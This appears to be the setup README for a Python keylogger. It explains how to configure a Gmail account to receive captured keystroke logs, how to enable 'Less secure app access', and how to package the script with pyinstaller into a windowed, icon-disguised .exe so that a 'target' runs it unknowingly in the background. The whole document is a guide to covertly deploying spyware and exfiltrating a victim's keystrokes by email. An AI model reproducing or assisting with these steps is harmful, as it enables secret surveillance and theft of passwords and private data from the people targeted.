1. pip3 install -r requirements.txt
   
2. go to receive_email.py
   
3. change main_email to your email address
   
4. in password section enter your email address password you have just entered
   
5. secondary_email does not effect in keylogger proccess and you recieve logs in sent box of email address you have entered in main_email section

your main_email must be a Gmail only
go to your google account settings and then go to security tab to enable Less secure app access

you can use a bug in pyinstaller and execute this script to .exe file format and when your target run .exe file, script will run on backgrough without being noticable. just use:

1. first commit changes I mentioned in Installation instruction
2. pip3 install pyinstaller
3. pyinstaller --onefile --windowed --icon=PATH/OF/ICON.ico PATH/OF/keylogger.py

icon must be in .ico format

this script will not work before or after execution on Windows 7 until you use python3.8.6 or less for downloading requirements and execution